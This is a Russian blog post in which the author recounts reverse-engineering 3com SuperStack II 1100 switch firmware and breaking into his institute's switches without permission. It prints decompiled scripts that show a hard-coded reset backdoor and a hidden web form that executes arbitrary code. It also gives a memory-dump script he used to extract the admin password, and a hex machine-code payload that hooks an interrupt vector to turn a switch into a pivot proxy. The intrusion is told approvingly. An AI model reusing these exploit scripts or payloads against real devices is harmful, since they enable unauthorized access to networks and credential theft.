kray_zemli (kray_zemli) wrote,
kray_zemli
kray_zemli

Category:

Как я нашёл уязвимость в свитче 3com SuperStack II Switch 1100

Да, такой вот у нас стоял в институте 10 лет назад, в 2004 году. Не буду рассказывать, какая у меня тогда была мотивация. В общем, скачал я с официального сайта апдейт фирмвари, и скормил дизассемблеру. Внутри оказался процессор, похожий на 68000, который мне был хорошо знаком из ковыряния игр для притавки SEGA. Ну и стал я копаться в коде.

Значит, принцип такой. К свитчу можно прителнетиться и попасть в консоль. А можно зайти через web-интерфейс. В любом случае, надо сначала ввести логин и пароль. Причём, в свитче было предусмотрено несколько уровней доступа. Юзер monitor (пароль по умолчанию тоже monitor) мог только смотреть статистику по портам. Ну а юзер admin, соответственно, мог всё. Пароль на админа, разумеется, был неизвестен, а вот под бесправным монитором мог зайти любой, потому что админ не озаботился сменить пароль. Но мне нужны были права админа.

В институте тогда стояло несколько свитчей. Из них парочка 1100, несколько 1000, и несколько чуть более современных 4200. Свитчи имели выделенные IP адреса, но были доступны только изнутри института, снаружи они были закрыты экраном. Тем не менее, к одному из свитчей (марки 1100) я смог получить доступ. По-видимому, админ оставил для себя возможность администрировать его из дома, и при этом пользовался тем же самым интернет-провайдером, что и я. Это был крупнейший городской dial-up провайдер (а другого интернета почти не было тогда), адреса у него были динамические.

Прошивка свитча была монолитной и полностью оригинальной, т.е. не основана на линуксах. Flash-память логически была разделена на зоны: бут-блок, собственно код, файловая система (с дифференцированными уровнями доступа), NVRAM. Конечно, при изучении прошивки не удалось с полпинка найти какие-то buffer overrun. Но зато обнаружился внутренний скриптовый язык! С интерпретируемым байт-кодом и встроенным компилятором! Соответственно, именно на нём был написан как web-интерфейс, так и командная строка. Сами скрипты в скомпилированном виде лежали файлами в файловой системе. Ну, что делать, пришлось писать декомпилятор скриптов. :-) Код получился на 1200 строк примерно, он далёк от идеала, но работал и со своей задачей справился. Вот, например, исходный код скрипта cli.rscr, который запускается при коннекте на консоль:
decl 15;
%0 = "/cli/cmds";
%1 = %0;
%2 = tok($0, "&");
%3 = tok(%2[0], "=");
%4 = %3[1][0] - 48;
%5 = len(%2) > 3;
if len(%2) > 2;
   %3 = tok(%2[1], "=");
   %6 = %3[1];
   %3 = tok(%2[2], "=");
   %7 = %3[1];
   if len(%7) == 0;
      %7 = "\0";
   fi;
else;
   %6 = "";
   %7 = "";
fi;
%8 = false;
if %6[0] == 0;
   out("\n");
   in(%9);
fi;
while !%8;
   if %6[0] == 0;
      out("\nLogin: ");
      if in(%6);
         end;
      fi;
      if %6[0] == 27;
         %6 = "";
      fi;
      if %6[0];
         out("@@2Password: ");
         if in(%7);
            end;
         fi;
         if %7[0] == 27;
            %6 = "";
         fi;
         out("@@1\n");
      fi;
   fi;
   if %6[0];
      if %6 == "3comcso" && %7 == "RIP000" && %4 == 4;
         out("Do you want to re-initialize this device (y/n) [n]: ");
         if in(%10);
            end;
         fi;
         if %10 == "y";
            _wipePDS;
            out("\ndone\n");
            call("LOCAL_RESET");
         fi;
         %6 = "";
      else;
         %10 = checkUser(%6, %7, %4);
         if %10[0];
            %8 = true;
            %11 = %10[1];
         else;
            out("Incorrect password.\n\n");
            %6 = "";
         fi;
      fi;
   fi;
wend;
%12 = [];
while true;
   %13 = procCmd(%11, %1, %12);
   if %13[0] == 2;
try;
         %14 = call(%13[2], %6, %7, %12[%13[1] .. max], %4, %5);
catch;
         %14 = 1;
tried;
      if !%14;
         end;
      fi;
   else;
      %1 = %13[2];
      if %13[1] < len(%12) && len(%12[0]);
         %10 = fmt("%[ ]s", %12[%13[1] .. max]);
         if %13[0] == 1;
            fout("\%s\ is ambiguous.\n", %10);
         else;
            fout("\%s\%s\n", %10, msg1);
         fi;
      fi;
      out(call("/cli/header"));
      call("/cli/menu", %13[3 .. max], %13[2][len(%0) .. max]);
      out(call("/cli/footer"));
   fi;
   out(call("/cli/prompt", %1[len(%0) .. max]));
   if in(%10);
      end;
   fi;
   %12 = tok(%10);
   %15 = len(%12) - 1;
   if len(%12[%15]) == 0;
      %12 -= %15;
   fi;
   if %10[0] == 27;
      %1 = %0;
      %12 = [];
      out("\n");
   else;
      %16 = 0 .. len(%10) - 1;
      if %10 == "quit"[%16];
         %13 = tok(%1, "/");
         %17 = len(%13) - 2;
         %1 = fmt("/%[/]s", %13[0 .. %17]);
         if len(%1) < len(%0);
            %1 = %0;
         fi;
         %12 = [];
      fi;
   fi;
   if %10 == "logout";
      if !call(%0 + "/logout");
         end;
      fi;
      %12 = [];
   fi;
   if %10 == "?";
      call("/cli/help");
      %12 = [];
   fi;
wend;


Как видно, используется множество встроенных функций, локальные переменные пронумерованы и доступ к ним по номерам, функция call запускает другой скрипт. Здесь виден и бэкдор: логин 3comcso и пароль RIP000 запускают сброс всех настрок, впрочем, работает он только при подключении через ком-порт, поэтому бесполезен.

Итак, анализируем файловую систему. Нашёлся, например, очень мощный скрипт ?debug.rscr, но к нему есть доступ только у админа. А у нас-то какой-то монитор всего-лишь.

Поэтому переходим от консоли к веб-интерфейсу. В веб-интерфейсе контроль доступа заложен уже не в скриптах, а в самом http-сервере. Соответственно, пока не залогинишься -- ни к чему доступа не имеешь. Но у нас есть монитор, и это не проблема. В результате анализа web-скриптов, нашлось нечто интересное: cso.rhtm. И этот скрипт доступен всем, в т.ч. и монитору!
if type($0) == str;
   if $0[0 .. 5] == "WEB000";
      %1 = [], %2 = "", %3 = "";
      if len($0) > 6;
         %1 = call("post", 0);
         %2 = %1["scr"][1];
         %3 = %1["arg"][1];
      fi;
      out("<HR><FORM ACTION=cso.rhtm?WEB000+1 METHOD=POST>");
      fout("<P><INPUT TYPE=text NAME=arg VALUE=\"%s\" SIZE=40>", %3);
      fout("<INPUT TYPE=submit Value=\" Run \">");
      fout("<P><TEXTAREA NAME=scr rows=10 cols=40>%s</TEXTAREA>", %2);
      fout("</FORM><PRE><HR>");
      if len($0) > 6;
      try;
         script(%2, %3);
      catch;
         fout("<H2>Script error: %u</H2>", err());
      tried;
      fi;
      fout("<HR></PRE>");
      end;
   fi;
fi;


Как видно, через потайную веб-форму можно отправить скрипт, он откомпилируется и выполнится! Можно, например, сдампить кусок памяти:
%1 = 0x80000000; %2 = 0x00200000; while %2;
%3 = (%2 > 16)?16:%2; __clihPeek(%1, %3, %4);
fout("%08x: %02[ ]x\n", %1, %4);
%1 += %3; %2 -= %3; wend;


Примерно таким способом я узнал пароль админа. В принципе, полный доступ у меня к свитчу был, но на этом я не остановился: в сети есть другие свитчи, и они закрыты файрволом.

Ну, что делать? Пишем прокси-сервер. Прокси-сервер выглядел примерно так:
decl 30;
%0 = 0x401A00;
%1[0] = "6000000E6000004060000076600001DE";
%1[1] = "588F4EB90008CE904FEF00244A406706";
%1[2] = "4EF9000700782F0B2F3C000A6A594EB9";
%1[3] = "00095A40508F4A8067064EF90007001C";
%1[4] = "4EF90007006A588F4EB90008CFAC508F";
%1[5] = "4A4067064EF900076150200C67F62F0C";
%1[6] = "2F3C000A6A594EB900095A40508F4A80";
%1[7] = "670000084EF9000760F04EF90007612E";
%1[8] = "4E56FFE848E7303C246E00102A6E0008";
%1[9] = "7400700026401D7C0001FFF01D7C0001";
%1[10] = "FFEA42AEFFEC0C6E00030016660000E2";
%1[11] = "0C120002660000DA0C2A000200066600";
%1[12] = "00D00C2A0001000C660000C64AAA0002";
%1[13] = "6708202A00025480600270002D40FFF8";
%1[14] = "5C8A4AAA00026708202A000254806002";
%1[15] = "700028405C8A362A00044AAEFFF86700";
%1[16] = "0090486EFFF62F2EFFF84EB90008CE90";
%1[17] = "508F4A40667A302EFFF62F00486EFFFC";
%1[18] = "4EB90008CFAC508F4A406664200C6760";
%1[19] = "204C20084A1866FC90884680720AB280";
%1[20] = "654E4878000A2F0C2F2EFFFC4EB90009";
%1[21] = "5AC44FEF000C4A806636302EFFF62F00";
%1[22] = "2F034EB90008D086508F4A406622302D";
%1[23] = "007C0240FF00322EFFF6024100FF8041";
%1[24] = "3B40007C7000302EFFF62D40FFEC7401";
%1[25] = "2D42FFF248780001486EFFF02F0B4EB9";
%1[26] = "0000FD4A264048780001486EFFEA2F0B";
%1[27] = "4EB90000FD4A26402F0B487800042F2E";
%1[28] = "000C2F0D4EB90000E03E1D7C0004FFF0";
%1[29] = "2D4BFFF2486EFFF04EB9000107567000";
%1[30] = "4CEE3C0CFFD04E5E4E75FFFF4E56FFE4";
%1[31] = "48E7003849EEFFE44879000A18282F2E";
%1[32] = "00084EB900095B80508F2440200A6606";
%1[33] = "7000600000D65C8A267C000943116002";
%1[34] = "528A101249C008330003080066F24878";
%1[35] = "0016486EFFE62F0A4EB90006FEBC4879";
%1[36] = "000A9E70486EFFE64EB900095BC82440";
%1[37] = "4879000A9E7242A74EB900095BC82640";
%1[38] = "200A6704200A6006203C000A9E742440";
%1[39] = "200B6704200B6006203C000A9E752640";
%1[40] = "486EFFE42F0A4EB90008CE904FEF0024";
%1[41] = "4A40665430142F00487800074EB90008";
%1[42] = "D086508F4A40664030142F00486EFFFC";
%1[43] = "4EB90008CFAC508F4A40662C204B2008";
%1[44] = "4A1866FC90884680720AB280651A4878";
%1[45] = "000A2F0B2F2EFFFC4EB900095AC44A80";
%1[46] = "660670003014600270004CEE1C00FFD8";
%1[47] = "4E5E4E75";

%2 = 0;
while %2 < len(%1);
  %3 = 0;
  while %3 < len(%1[%2]);
    %4 = eval("0x"+%1[%2][%3 .. (1+%3)]);
    __MemWrite(0, %0, %4);
    %0 = %0 + 1;
    %3 = %3 + 2;
  wend;
  %2 = %2 + 1;
wend;
__MemWrite(2, 0x404E10, 0x401A00);


В принципе, ничего особо интересного: просто машинные коды. Последняя строка -- перехват вектора прерывания. IP-адрес и порт переадресации прописаны где-то в первой строке. И вот, теперь у меня был полный доступ ко всем свитчам (пароль админа, кстати, на них был такой же). Ну а что я делал с этим дальше -- рассказывать не буду.
Subscribe

  • Зачем либералам власть?

    Забавляет либеральное двоемыслие, предлагающее давить на власть сугубо законными методами, в то время как власть пишет закон сугубо под себя, да и…

  • Дворец: мужское и женское

    Традиционно, в дворцах есть мужская и женская части. Исходя из этого предположения, по плану легко сообразить, что казино, танцевальный автомат,…

  • Глубинный народ о Дворце

    Подумаешь, дворец! У вечернего мудозвона Соловьёва — и то хоромы есть. А Путину что, нельзя? Тем более, в России, а не где-нибудь в Америках да…

  • Post a new comment

    Error

    default userpic

    Your reply will be screened

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.
  • 6 comments